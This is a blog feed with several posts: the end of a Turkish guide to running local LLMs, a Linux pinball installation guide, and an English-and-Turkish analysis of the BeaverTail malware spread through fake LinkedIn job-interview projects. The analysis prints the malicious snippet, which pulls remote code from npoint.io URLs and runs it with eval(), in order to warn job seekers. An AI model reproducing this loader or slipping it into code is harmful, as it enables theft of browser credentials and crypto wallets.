yap&inodot;land&inodot;r&inodot;lm&inodot;&scedil; modellerle harikalar yaratabilirsiniz.</p> <p>&Idot;&scedil;in s&inodot;rr&inodot; ekran kart&inodot;n&inodot;zdaki (GPU) <strong>VRAM</strong> miktar&inodot;nda yat&inodot;yor. Sisteminiz i&ccedil;in en do&gbreve;ru kart&inodot; se&ccedil;mek isterseniz, <a href="/yerel-llmler-icin-en-iyi-gpu-2026/">Yerel LLM'ler &Idot;&ccedil;in En &Idot;yi Ekran Kartlar&inodot; (2026)</a> yaz&inodot;mda t&uuml;m se&ccedil;enekleri detayl&inodot;ca inceledim. ⚡</p> <div class="admonition tip"> <p class="admonition-title">&Idot;pucu: VRAM vs. Sistem RAM</p> <p>Modeli &ccedil;al&inodot;&scedil;t&inodot;rd&inodot;&gbreve;&inodot;n&inodot;zda, t&uuml;m parametreler ekran kart&inodot;n&inodot;z&inodot;n VRAM'ine dolu&scedil;ur. E&gbreve;er 16 GB VRAM'iniz varsa ve model 17 GB istiyorsa, kalan 1 GB normal bilgisayar RAM'ine ta&scedil;ar. <sup id="fnref:2"><a class="footnote-ref" href="#fn:2">2</a></sup> Bu ta&scedil;ma oldu&gbreve;unda h&inodot;z&inodot;n&inodot;z 120 km/h'den, ka&gbreve;n&inodot; h&inodot;z&inodot;na (20-30 tokens/sec) d&uuml;&scedil;er. Yani ana kural: Modeli VRAM'e s&inodot;&gbreve;d&inodot;r!</p> </div> <p>E&gbreve;er Mac kullan&inodot;yorsan&inodot;z (M1/M2/M3), i&scedil;iniz daha kolay &ccedil;&uuml;nk&uuml; Apple "Unified Memory" (birle&scedil;ik bellek) kullan&inodot;yor. Yani sistemdeki 32 GB RAM'in b&uuml;y&uuml;k k&inodot;sm&inodot;n&inodot; AI do&gbreve;rudan "VRAM gibi" kullanabiliyor.</p> <h2 id="bolum-2-lm-studio-ile-ilk-adm">🛠️ B&ouml;l&uuml;m 2: LM Studio ile &Idot;lk Ad&inodot;m<a class="headerlink" href="#bolum-2-lm-studio-ile-ilk-adm" title="Permanent link">#</a></h2> <p>En h&inodot;zl&inodot; ve temiz ba&scedil;lang&inodot;&ccedil; i&ccedil;in <strong>LM Studio</strong>'yu &ouml;neririm. Kullan&inodot;c&inodot; aray&uuml;z&uuml; o kadar ba&scedil;ar&inodot;l&inodot; ki, hangi modelin sisteminizde ne kadar yer kaplayaca&gbreve;&inodot;n&inodot; (GPU offload) size a&ccedil;&inodot;k&ccedil;a g&ouml;steriyor.</p> <ol> <li><strong>LM Studio &Idot;ndir:</strong> <a href="https://lmstudio.ai/" rel="noopener noreferrer" target="_blank">LM Studio Resmi Sitesi</a></li> <li><strong>Model Ara:</strong> Arama k&inodot;sm&inodot;na <code>Qwen</code> veya <code>Llama</code> yaz&inodot;n. Hangi modeli se&ccedil;ece&gbreve;inizden emin de&gbreve;ilseniz, en g&uuml;ncel k&inodot;yaslamalar i&ccedil;in <a href="/en-iyi-yerel-llm-modelleri-2026/">En &Idot;yi Yerel LLM Modelleri (2026)</a> rehberime g&ouml;z atabilirsiniz. </li> <li><strong>Quantization (S&inodot;k&inodot;&scedil;t&inodot;rma) Se&ccedil;:</strong> &Idot;&scedil;te buras&inodot; can al&inodot;c&inodot; nokta. Modelleri "ham" haliyle (FP16) indirmeyin. <strong>Q4</strong> veya <strong>Q6</strong> gibi s&inodot;k&inodot;&scedil;t&inodot;r&inodot;lm&inodot;&scedil; versiyonlar&inodot; se&ccedil;in. <sup id="fnref:1"><a class="footnote-ref" href="#fn:1">1</a></sup></li> </ol> <div class="admonition note"> <p class="admonition-title">Not: Quantization Nedir?</p> <p>B&uuml;y&uuml;k bir modeli, performans&inodot;ndan &ccedil;ok az &ouml;d&uuml;n vererek boyutunu yar&inodot; yar&inodot;ya k&uuml;&ccedil;&uuml;ltme i&scedil;lemidir. Q4 (4-bit) genelde "tatl&inodot; noktad&inodot;r"; hem ak&inodot;ll&inodot; kal&inodot;r hem de orta halli bir ekran kart&inodot;na s&inodot;&gbreve;ar.</p> </div> <h2 id="bolum-3-vs-code-entegrasyonu-continue-extension">💻 B&ouml;l&uuml;m 3: VS Code Entegrasyonu (Continue Extension)<a class="headerlink" href="#bolum-3-vs-code-entegrasyonu-continue-extension" title="Permanent link">#</a></h2> <p>Chat yapmak g&uuml;zel ama as&inodot;l verim, kod yazarken o AI'n&inodot;n parmaklar&inodot;n&inodot;z&inodot;n ucunda olmas&inodot;yla geliyor. Bunun i&ccedil;in VS Code'da <strong>Continue</strong> eklentisini kullan&inodot;yoruz.</p> <ul> <li><strong>Autocomplete i&ccedil;in:</strong> &Ccedil;ok k&uuml;&ccedil;&uuml;k modeller se&ccedil;in (&ouml;rne&gbreve;in 1.5B parametrelik Qwen-Coder). &Ccedil;&uuml;nk&uuml; tamamlama i&scedil;leminin anl&inodot;k olmas&inodot; laz&inodot;m.</li> <li><strong>Agent/Chat i&ccedil;in:</strong> Daha b&uuml;y&uuml;k modeller (9B veya 14B) kullanabilirsiniz.</li> </ul> <h3 id="yaplandrma-configjson">Yap&inodot;land&inodot;rma (config.json)<a class="headerlink" href="#yaplandrma-configjson" title="Permanent link">#</a></h3> <p>Continue ayarlar&inodot;nda <code>provider</code> olarak <code>lm-studio</code> se&ccedil;ip, LM Studio'nun sundu&gbreve;u yerel sunucu adresini (<code>http://localhost:1234/v1</code>) girmeniz yeterli. Art&inodot;k VS Code i&ccedil;inde kendi "GitHub Copilot" alternatifinizi bedavaya kullan&inodot;yorsunuz. 😎</p> <h2 id="yerel-vs-bulut-hangisi-daha-akll_1">📊 Yerel vs. Bulut: Hangisi Daha Ak&inodot;ll&inodot;?<a class="headerlink" href="#yerel-vs-bulut-hangisi-daha-akll" title="Permanent link">#</a></h2> <p>Bir&ccedil;ok ki&scedil;i "Yerel modeller Claude kadar zeki mi?" diye soruyor. Kendi yapt&inodot;&gbreve;&inodot;m <strong>Sudoku Uygulamas&inodot;</strong> testinde &scedil;unu g&ouml;rd&uuml;m: - <strong>Claude Sonnet 3.5:</strong> 9 dakikada s&inodot;f&inodot;r hatayla uygulamay&inodot; yazd&inodot;. - <strong>Yerel Qwen 2.5 (32B):</strong> Yine yakla&scedil;&inodot;k 9-10 dakikada benzer kalitede bir &ccedil;&inodot;kt&inodot; verdi.</p> <p>H&inodot;z fark&inodot; var m&inodot;? Evet, bulut modelleri devasa sunucu parkurlar&inodot;nda daha h&inodot;zl&inodot; cevap veriyor ama yerel AI da hata ay&inodot;klama (debug) ve genel kodlama i&scedil;lerinde art&inodot;k "yeterince iyi" seviyesini &ccedil;oktan ge&ccedil;ti.</p> <h2 id="sadede-gelirsek">🏁 Sadede Gelirsek<a class="headerlink" href="#sadede-gelirsek" title="Permanent link">#</a></h2> <p>Ayl&inodot;k abonelikleri iptal edip, o paray&inodot; biriktirerek 2-3 ay i&ccedil;inde kendinize sa&gbreve;lam bir ekran kart&inodot; (&ouml;rne&gbreve;in 16GB VRAM'li bir RTX 4060 Ti veya 4070) alabilirsiniz. Bu kart size &ouml;m&uuml;r boyu <strong>bedava ve s&inodot;n&inodot;rs&inodot;z</strong> AI kullan&inodot;m&inodot;n&inodot;n kap&inodot;s&inodot;n&inodot; a&ccedil;ar.</p> <p>Verileriniz bilgisayar&inodot;n&inodot;zda kals&inodot;n, c&uuml;zdan&inodot;n&inodot;zdaki para da cebinizde. Kendi yerel AI kurulumunu ba&scedil;latmak i&ccedil;in bug&uuml;nden daha iyi bir zaman yok dostum.</p> <div class="footnote"> <hr/> <ol> <li id="fn:1"> <p>Konuyla ilgili daha fazla teknik detay i&ccedil;in <a href="https://huggingface.co/" rel="noopener noreferrer" target="_blank">HuggingFace</a> &uuml;zerindeki model kartlar&inodot;n&inodot; inceleyebilirsiniz.&nbsp;<a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text">&larrhk;</a></p> </li> <li id="fn:2"> <p>Yerel AI kurarken kar&scedil;&inodot;la&scedil;t&inodot;&gbreve;&inodot;n&inodot;z "out of memory" hatalar&inodot; i&ccedil;in sisteminizdeki di&gbreve;er GPU kullanan programlar&inodot; (taray&inodot;c&inodot; vb.) kapatmay&inodot; deneyin.&nbsp;<a class="footnote-backref" href="#fnref:2" title="Jump back to footnote 2 in the text">&larrhk;</a></p> </li> </ol> </div>2026-05-11T19:57:00+03:002026-05-11T19:57:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-11:/en/linkedin-is-gorusmesi-dolandiriciligi-beavertail/

<p>We analyze the North Korean hackers behind the "too sweet" job offers you encounter on LinkedIn and the BeaverTail malware that sneaks into your system under the guise of a test project.</p>

<p>The 2026 job market is literally "cooked". On one hand, thousands of candidates; on the other hand, scammers selling empty dreams. But these scammers are not just amateurs chasing your money; they are professional cyber attackers with state backing (North Korea - Lazarus Group) behind them.</p> <p>The scenario is always the same: You've been looking for a job for months, you only have money left in your pocket to buy pasta and yogurt, and bam! A dream-like job offer of 12 thousand dollars drops into your LinkedIn inbox. The moment they say "Let's have an interview, and just run this test project," you are actually opening the door to a disaster.</p> <h2 id="the-trap-golden-city-and-the-insidious-eval">🕸️ The Trap: "Golden City" and the Insidious eval()<a class="headerlink" href="#the-trap-golden-city-and-the-insidious-eval" title="Permanent link">#</a></h2> <p>The attackers want you to download a simple "test project" (for example, "Golden City") to make you feel comfortable. The project looks like an innocent Node.js application at first glance. However, look at this piece of code hidden inside <code>backend/controllers/userController.js</code>:</p> <div class="highlight"><pre><span></span><code><span class="c1">// Friday13-Security: The purpose of this code is not to help you, but to ruin your life.</span> <span class="nx">exports</span><span class="p">.</span><span class="nx">getCookie</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">asyncErrorHandler</span><span class="p">(</span><span class="k">async</span><span class="w"> </span><span class="p">(</span><span class="nx">req</span><span class="p">,</span><span class="w"> </span><span class="nx">res</span><span class="p">,</span><span class="w"> </span><span class="nx">next</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">rs_L</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">axios</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s2">"https://api.npoint.io/e8e29958efde154f3d7d"</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">rs_C</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">axios</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s2">"https://api.npoint.io/632ab82bbc8d7f4c2d44"</span><span class="p">);</span> <span class="w"> </span><span class="nb">eval</span><span class="p">(</span><span class="nx">rs_L</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">cookie</span><span class="p">);</span> <span class="w"> </span><span class="nb">eval</span><span class="p">(</span><span class="nx">rs_C</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">cookie</span><span class="p">);</span> <span class="p">})();</span> </code></pre></div> <p>The <code>eval()</code> function here runs the malicious, obfuscated code pulled from <code>npoint.io</code> (which is constantly updated) in your system with full privileges. While you think "I am installing the project", your browser sessions are stolen and your crypto wallets are emptied.</p> <h2 id="analysis-breaking-down-beavertail">🛠️ Analysis: Breaking Down BeaverTail<a class="headerlink" href="#analysis-breaking-down-beavertail" title="Permanent link">#</a></h2> <p>This malware (BeaverTail) uses infinite loops (<code>while(!![])</code>) and complex string tables to confuse deobfuscators. However, since we Arch users are "paranoid" enough not to install any package without examining it one by one, we do not fall for these traps (or we shouldn't, haha).</p> <p>When the malicious code is decrypted, it turns out it does the following: * Collects system information such as <code>hostname</code>, <code>platform</code>, <code>homeDir</code>. * Scans sensitive data (cookies, passwords) of browsers like Brave, Chrome, Opera. * Since it runs with <code>eval()</code> in a Node.js environment, it has full permissions on the filesystem.</p> <h2 id="why-arch-users-dont-fall-for-it">🏰 Why Arch Users Don't Fall for It?<a class="headerlink" href="#why-arch-users-dont-fall-for-it" title="Permanent link">#</a></h2> <p>Jokes aside, the terminal discipline of an Arch Linux user is the biggest shield against such attacks. In the <code>yuceltoluyag@archlinux</code> terminal, looking at <code>package.json</code>, dependencies, and scripts before typing <code>npm install</code> is in our DNA.</p> <p>As we have experienced on our own systems, those who downloaded "sketchy" files from DC++ or Limewire in their childhood and caught every kind of cyber "disease" that was transmitted online, have acquired "special abilities" today to recognize this insidious software at a glance. Paranoia is sometimes the biggest firewall.</p> <hr/> <h2 id="lessons-to-learn">🥊 Lessons to Learn<a class="headerlink" href="#lessons-to-learn" title="Permanent link">#</a></h2> <ol> <li><strong>Think Before Running a Repo:</strong> Never run any unfamiliar repo coming from LinkedIn on your host machine (bare metal). Use Docker or a completely isolated VM.</li> <li><strong>npoint.io and eval() is a Red Line:</strong> If you see a structure in a project that pulls code from outside and runs it with <code>eval()</code>, run away without looking back.</li> <li><strong>The Business World is a Wolf's Table:</strong> Very sweet offers are usually a poisoned apple. Especially if there is a "test project before interview" requirement, be twice as careful.</li> </ol> <p>If these crazy "BeaverTail" hyenas have stooped low enough to target job seekers, we need to sharpen our technical defenses just as much. Carry that "testing discipline" I mentioned in my <a href="/en/pelican-statik-site-playwright-test/">Test Your Pelican Static Site with Playwright</a> post to the security field as well, karda&scedil;.</p> <p>Stay paranoid, stay safe!</p> <hr/> <h2 id="sources-and-acknowledgements">🔗 Sources and Acknowledgements<a class="headerlink" href="#sources-and-acknowledgements" title="Permanent link">#</a></h2> <p>Deobfuscating such insidious operations really requires great patience and technical tracking. During the analysis process, the datasets compiled by Bogdan (himthe.dev) were very enlightening. We owe him a thank you for this transparent attitude.</p> <ul> <li><a href="https://www.himthe.dev/blog/linkedin-interview-scams" rel="noopener noreferrer" target="_blank">Bogdan's Original Analysis</a></li> <li><a href="https://github.com/xndbogdan/malicious-repositories" rel="noopener noreferrer" target="_blank">Exposed Malicious GitHub Repositories (List)</a></li> </ul> <hr/> <h2 id="related-posts">🔗 Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/linux-guvenlik-clamav-tam-kapsamli-rehber/">Linux Security: A Full Comprehensive Guide with ClamAV</a></li> <li><a href="/en/arch-linux-ddos-hizmet-kesintisi/">Arch Linux DDOS and Service Outage Analysis</a></li> <li><a href="/en/playwright-arch-linux-kurulum/">Playwright Arch Linux Installation Guide</a></li> </ul>2026-05-11T19:57:00+03:002026-05-11T19:57:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-11:/linkedin-is-gorusmesi-dolandiriciligi-beavertail/

<p>LinkedIn'de karşınıza çıkan "çok tatlı" iş tekliflerinin arkasındaki Kuzey Koreli hackerları ve test projesi adı altında sisteminize sızan BeaverTail zararlısını analiz ediyoruz.</p>

<p>2026 i&scedil; piyasas&inodot; tam anlam&inodot;yla "pi&scedil;mi&scedil;" durumda. Bir yanda binlerce aday, di&gbreve;er yanda bo&scedil; hayaller satan doland&inodot;r&inodot;c&inodot;lar. Ama bu seferki doland&inodot;r&inodot;c&inodot;lar, sadece paran&inodot;z&inodot;n pe&scedil;inde olan amat&ouml;rler de&gbreve;il; arkalar&inodot;nda devlet deste&gbreve;i (Kuzey Kore - Lazarus Group) olan profesyonel siber sald&inodot;rganlar. </p> <p>Senaryo hep ayn&inodot;: Aylard&inodot;r i&scedil; ar&inodot;yorsunuz, cebinizde sadece makarna-yo&gbreve;urt alacak para kalm&inodot;&scedil; ve bam! LinkedIn kutunuza 12 bin dolarl&inodot;k, r&uuml;ya gibi bir i&scedil; teklifi d&uuml;&scedil;&uuml;yor. "Hadi bir g&ouml;r&uuml;&scedil;elim, &scedil;u test projesini de bir &ccedil;al&inodot;&scedil;t&inodot;r&inodot;ver" dedikleri an, asl&inodot;nda felaketin kap&inodot;s&inodot;n&inodot; aral&inodot;yorsunuz.</p> <h2 id="tuzak-golden-city-ve-sinsi-eval">🕸️ Tuzak: "Golden City" ve Sinsi eval()<a class="headerlink" href="#tuzak-golden-city-ve-sinsi-eval" title="Permanent link">#</a></h2> <p>Sald&inodot;rganlar sizi rahat hissettirmek i&ccedil;in basit bir "test projesi" (&ouml;rne&gbreve;in "Golden City") indirmenizi istiyor. Proje ilk bak&inodot;&scedil;ta masum bir Node.js uygulamas&inodot; gibi g&ouml;r&uuml;n&uuml;yor. Ancak <code>backend/controllers/userController.js</code> i&ccedil;ine gizlenmi&scedil; &scedil;u kod par&ccedil;as&inodot;na bak&inodot;n:</p> <div class="highlight"><pre><span></span><code><span class="c1">// Friday13-Security: Bu kodun amac&inodot; yard&inodot;m etmek de&gbreve;il, hayat&inodot;n&inodot;z&inodot; karartmakt&inodot;r.</span> <span class="nx">exports</span><span class="p">.</span><span class="nx">getCookie</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">asyncErrorHandler</span><span class="p">(</span><span class="k">async</span><span class="w"> </span><span class="p">(</span><span class="nx">req</span><span class="p">,</span><span class="w"> </span><span class="nx">res</span><span class="p">,</span><span class="w"> </span><span class="nx">next</span><span class="p">)</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">rs_L</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">axios</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s2">"https://api.npoint.io/e8e29958efde154f3d7d"</span><span class="p">);</span> <span class="w"> </span><span class="kd">const</span><span class="w"> </span><span class="nx">rs_C</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">axios</span><span class="p">.</span><span class="nx">get</span><span class="p">(</span><span class="s2">"https://api.npoint.io/632ab82bbc8d7f4c2d44"</span><span class="p">);</span> <span class="w"> </span><span class="nb">eval</span><span class="p">(</span><span class="nx">rs_L</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">cookie</span><span class="p">);</span> <span class="w"> </span><span class="nb">eval</span><span class="p">(</span><span class="nx">rs_C</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">cookie</span><span class="p">);</span> <span class="p">})();</span> </code></pre></div> <p>Buradaki <code>eval()</code> fonksiyonu, <code>npoint.io</code> &uuml;zerinden o an &ccedil;ekilen ve s&uuml;rekli g&uuml;ncellenen (obfuscated) zararl&inodot; kodu sisteminizde tam yetkiyle &ccedil;al&inodot;&scedil;t&inodot;r&inodot;yor. Siz "projeyi kuruyorum" san&inodot;rken, taray&inodot;c&inodot; session&rsquo;lar&inodot;n&inodot;z &ccedil;al&inodot;n&inodot;yor ve kripto c&uuml;zdanlar&inodot;n&inodot;z bo&scedil;alt&inodot;l&inodot;yor.</p> <h2 id="analiz-beavertaili-parcalamak">🛠️ Analiz: BeaverTail'i Par&ccedil;alamak<a class="headerlink" href="#analiz-beavertaili-parcalamak" title="Permanent link">#</a></h2> <p>Bu zararl&inodot; yaz&inodot;l&inodot;m (BeaverTail), deobfuscator'lar&inodot; &scedil;a&scedil;&inodot;rtmak i&ccedil;in sonsuz d&ouml;ng&uuml;ler (<code>while(!![])</code>) ve karma&scedil;&inodot;k string tablolar&inodot; kullan&inodot;yor. Ancak biz Arch kullan&inodot;c&inodot;lar&inodot;, her paketi tek tek incelemeden kurmayacak kadar "paronayak" oldu&gbreve;umuz i&ccedil;in bu tuzaklara d&uuml;&scedil;meyiz (d&uuml;&scedil;memeliyiz :D). </p> <p>Zararl&inodot; kod &ccedil;&ouml;z&uuml;ld&uuml;&gbreve;&uuml;nde &scedil;unlar&inodot; yapt&inodot;&gbreve;&inodot; ortaya &ccedil;&inodot;k&inodot;yor: * <code>hostname</code>, <code>platform</code>, <code>homeDir</code> gibi sistem bilgilerini topluyor. * Brave, Chrome, Opera gibi taray&inodot;c&inodot;lar&inodot;n hassas verilerini (cookie, password) tar&inodot;yor. * Node.js ortam&inodot;nda <code>eval()</code> ile &ccedil;al&inodot;&scedil;t&inodot;&gbreve;&inodot; i&ccedil;in filesystem &uuml;zerinde tam yetkiye sahip oluyor.</p> <h2 id="neden-arch-kullancs-dusmez">🏰 Neden Arch Kullan&inodot;c&inodot;s&inodot; D&uuml;&scedil;mez?<a class="headerlink" href="#neden-arch-kullancs-dusmez" title="Permanent link">#</a></h2> <p>&Scedil;aka bir yana, bir Arch Linux kullan&inodot;c&inodot;s&inodot;n&inodot;n terminal disiplini bu tarz sald&inodot;r&inodot;lara kar&scedil;&inodot; en b&uuml;y&uuml;k kalkand&inodot;r. <code>yuceltoluyag@archlinux</code> terminalinde <code>npm install</code> demeden &ouml;nce <code>package.json</code>'a, ba&gbreve;&inodot;ml&inodot;l&inodot;klara ve script&rsquo;lere bakmak bizim geneti&gbreve;imizde var. </p> <p>Kendi sistemlerimizde tecr&uuml;be etti&gbreve;imiz &uuml;zere, &ccedil;ocuklu&gbreve;unda DC++ veya Limewire'dan "sketchy" dosyalar indirip bilgisayar&inodot;na siber yolla bula&scedil;an her t&uuml;rl&uuml; "hastal&inodot;&gbreve;&inodot;" kapt&inodot;ranlar, bug&uuml;n bu sinsi yaz&inodot;l&inodot;mlar&inodot; bir bak&inodot;&scedil;ta tan&inodot;yacak "&ouml;zel yeteneklere" sahip oldular. Paranoya bazen en b&uuml;y&uuml;k g&uuml;venlik duvar&inodot;d&inodot;r.</p> <hr/> <h2 id="alnacak-dersler">🥊 Al&inodot;nacak Dersler<a class="headerlink" href="#alnacak-dersler" title="Permanent link">#</a></h2> <ol> <li><strong>Repo'yu &Ccedil;al&inodot;&scedil;t&inodot;rmadan &Ouml;nce D&uuml;&scedil;&uuml;n&uuml;n:</strong> LinkedIn'den gelen hi&ccedil;bir yabanc&inodot; repo'yu ana makinenizde (bare metal) &ccedil;al&inodot;&scedil;t&inodot;rmay&inodot;n. Docker veya tamamen izole bir VM kullan&inodot;n.</li> <li><strong>npoint.io ve eval() K&inodot;rm&inodot;z&inodot; &Ccedil;izgidir:</strong> Bir projede d&inodot;&scedil;ar&inodot;dan kod &ccedil;ekip <code>eval()</code> ile &ccedil;al&inodot;&scedil;t&inodot;ran bir yap&inodot; g&ouml;r&uuml;yorsan&inodot;z, arkan&inodot;za bakmadan ka&ccedil;&inodot;n.</li> <li><strong>&Idot;&scedil; D&uuml;nyas&inodot; Kurtlar Sofras&inodot;:</strong> &Ccedil;ok tatl&inodot; teklifler, genelde zehirli bir elmad&inodot;r. Hele ki "m&uuml;lakat &ouml;ncesi test projesi" zorunlulu&gbreve;u varsa, iki kat dikkatli olun.</li> </ol> <p>Bu "BeaverTail" g&ouml;z&uuml; d&ouml;nm&uuml;&scedil; s&inodot;rtlanlar&inodot;, i&scedil; arayan insanlar&inodot; hedef alacak kadar al&ccedil;ald&inodot;ysa, bizim de teknik savunmam&inodot;z&inodot; bir o kadar keskinle&scedil;tirmemiz gerekiyor. <a href="/pelican-statik-site-playwright-test/">Pelican Statik Sitenizi Playwright ile Test Edin</a> yaz&inodot;mda bahsetti&gbreve;im o "test disiplinini" g&uuml;venlik alan&inodot;na da ta&scedil;&inodot;y&inodot;n karda&scedil;.</p> <p>Stay paranoid, stay safe!</p> <hr/> <h2 id="kaynaklar-ve-tesekkur">🔗 Kaynaklar ve Te&scedil;ekk&uuml;r<a class="headerlink" href="#kaynaklar-ve-tesekkur" title="Permanent link">#</a></h2> <p>Bu t&uuml;r sinsi operasyonlar&inodot; de&scedil;ifre etmek ger&ccedil;ekten b&uuml;y&uuml;k bir sab&inodot;r ve teknik takip gerektiriyor. Analiz s&uuml;recinde Bogdan'&inodot;n (himthe.dev) derledi&gbreve;i veri setleri olduk&ccedil;a ufuk a&ccedil;&inodot;c&inodot;yd&inodot;. Kendisine bu &scedil;effaf tutumu i&ccedil;in bir te&scedil;ekk&uuml;r bor&ccedil;luyuz.</p> <ul> <li><a href="https://www.himthe.dev/blog/linkedin-interview-scams" rel="noopener noreferrer" target="_blank">Bogdan'&inodot;n Orijinal Analizi</a></li> <li><a href="https://github.com/xndbogdan/malicious-repositories" rel="noopener noreferrer" target="_blank">&Idot;f&scedil;a Edilen Zararl&inodot; GitHub Repolar&inodot; (Liste)</a></li> </ul> <hr/> <h2 id="ilgili-yazlar">🔗 &Idot;lgili Yaz&inodot;lar<a class="headerlink" href="#ilgili-yazlar" title="Permanent link">#</a></h2> <ul> <li><a href="/linux-guvenlik-clamav-tam-kapsamli-rehber/">Linux G&uuml;venlik: ClamAV ile Tam Kapsaml&inodot; Rehber</a></li> <li><a href="/arch-linux-ddos-hizmet-kesintisi/">Arch Linux DDOS ve Hizmet Kesintisi Analizi</a></li> <li><a href="/playwright-arch-linux-kurulum/">Playwright Arch Linux Kurulum Rehberi</a></li> </ul>2026-05-11T19:12:00+03:002026-05-11T19:12:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-11:/en/linux-space-cadet-pinball-kurulumu/

<p>We bring the legend of the Windows XP era, Space Cadet Pinball, to Linux. Both a sentimental journey and a 1024x768 resolution upgrade guide.</p>

<p>Do you remember those magical days when the internet was not yet this widespread in Turkey, and we secretly opened the computer every morning before going to school, despite the family's "electronic goods" allergy? Accompanied by that slightly crackling sound of the CRT monitor, we would turn the volume of the speakers to the lowest and start Windows XP's famous <code>Space Cadet Pinball</code> game. Solitaire was very boring, Minesweeper was too complex at that age; but the sound of that ball, those lights... That was a real escape.</p> <p>This legend, which is the exact definition of "old but gold", is actually livelier than ever on our Linux machines today, thanks to reverse engineering. Let's see how we can bring this nostalgia to our modern systems together.</p> <h2 id="installation-the-arch-way-and-others">🛠️ Installation: The Arch Way and Others<a class="headerlink" href="#installation-the-arch-way-and-others" title="Permanent link">#</a></h2> <p>As an Arch Linux user, my favorite is of course going through the AUR; however, Flatpak also has its own practicality. I am leaving both ways here.</p> <h3 id="1-arch-linux-aur-method">1. Arch Linux (AUR) Method<a class="headerlink" href="#1-arch-linux-aur-method" title="Permanent link">#</a></h3> <p>If you have installed Arch, let's continue with that <code>yuceltoluyag@archlinux</code> terminal discipline I mentioned in my Playwright post:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>yay<span class="w"> </span>-S<span class="w"> </span>space-cadet-pinball-git </code></pre></div> <h3 id="2-flatpak-method">2. Flatpak Method<a class="headerlink" href="#2-flatpak-method" title="Permanent link">#</a></h3> <p>If you want cross-system portability, Flathub comes to the rescue:</p> <div class="highlight"><pre><span></span><code>yuceltoluyag@archlinux:~$<span class="w"> </span>flatpak<span class="w"> </span>install<span class="w"> </span>com.github.k4zmu2a.spacecadetpinball </code></pre></div> <h2 id="technical-level-up-1024x768-resolution-full-tilt_1">🚀 Technical "Level Up": 1024x768 Resolution (Full Tilt!)<a class="headerlink" href="#technical-level-up-1024x768-resolution-full-tilt" title="Permanent link">#</a></h2> <p>The original game was in 480p resolution and might look a bit "muddy" on modern monitors. However, by using the data files of the version sold under the name "Full Tilt! Pinball" back in the day, we can increase the resolution to a gigantic (yes, it was gigantic for those times) <strong>1024x768</strong> level.</p> <h3 id="how-to-do-it-for-flatpak">How to Do It? (For Flatpak)<a class="headerlink" href="#how-to-do-it-for-flatpak" title="Permanent link">#</a></h3> <ol> <li>Run the game at least once so that the data folder is created.</li> <li>Find the "Full Tilt Pinball" data on <code>Archive.org</code> and extract the contents of <code>CADET.ZIP</code> into this folder: <code>bash yuceltoluyag@archlinux:~$ cd ~/.var/app/com.github.k4zmu2a.spacecadetpinball/data/SpaceCadetPinball yuceltoluyag@archlinux:~$ unzip ~/Downloads/CADET.ZIP</code></li> <li>We may need to clean up the old low-resolution files so that they are not prioritized by the game (Sudo might be required): <code>bash yuceltoluyag@archlinux:~$ sudo rm -r $(flatpak info --show-location com.github.k4zmu2a.spacecadetpinball)/files/extra/Pinball</code></li> </ol> <h2 id="a-small-note-do-the-rules-change_1">🧠 A Small Note: Do the Rules Change?<a class="headerlink" href="#a-small-note-do-the-rules-change" title="Permanent link">#</a></h2> <p>When you use the Full Tilt data, you will notice an interesting detail: while the lights in the launch tunnel blink on and off (toggle) as the ball passes over them in the original version, they stay lit in the Full Tilt version. This makes developing bumpers slightly easier. If you are a "pinball nerd" like me, you will immediately feel this difference.</p> <hr/> <h2 id="final-word-why-are-we-still-playing">🥊 Final Word: Why Are We Still Playing?<a class="headerlink" href="#final-word-why-are-we-still-playing" title="Permanent link">#</a></h2> <p>Today, we play ray-traced games in 4K resolution, but none of them replace the Pinball played in the morning chill, in a school uniform, with the fear of getting caught by the family. This game is not just software for us; it is a part of our childhood, our pure curiosity for technology, and "good old days."</p> <p>Install it, give it a try, and if your eyes fill with tears when you hear the sound of that ball, know that you are not alone. Don't forget to try passing the <code>Friday13</code> high score!</p> <p>Alright then, goodbye karda&scedil;!</p> <hr/> <h2 id="related-posts">🔗 Related Posts<a class="headerlink" href="#related-posts" title="Permanent link">#</a></h2> <ul> <li><a href="/en/pelican-statik-site-playwright-test/">Test Your Pelican Static Site with Playwright</a></li> <li><a href="/en/arch-linux-cpu-performans-ayarlari/">Arch Linux CPU Performance Settings</a></li> <li><a href="/en/raspberry-pi-zero-ram-diskless-web-server/">Throw Away the Disks: Hosting a Website on RAM with Raspberry Pi Zero</a></li> </ul>2026-05-11T19:12:00+03:002026-05-11T19:12:00+03:00yuceltoluyagtag:yuceltoluyag.github.io,2026-05-11:/linux-space-cadet-pinball-kurulumu/

<p>Windows XP döneminin efsanesi Space Cadet Pinball'u Linux'a getiriyoruz. Hem duygusal bir yolculuk hem de 1024x768 çözünürlük artırma rehberi.</p>

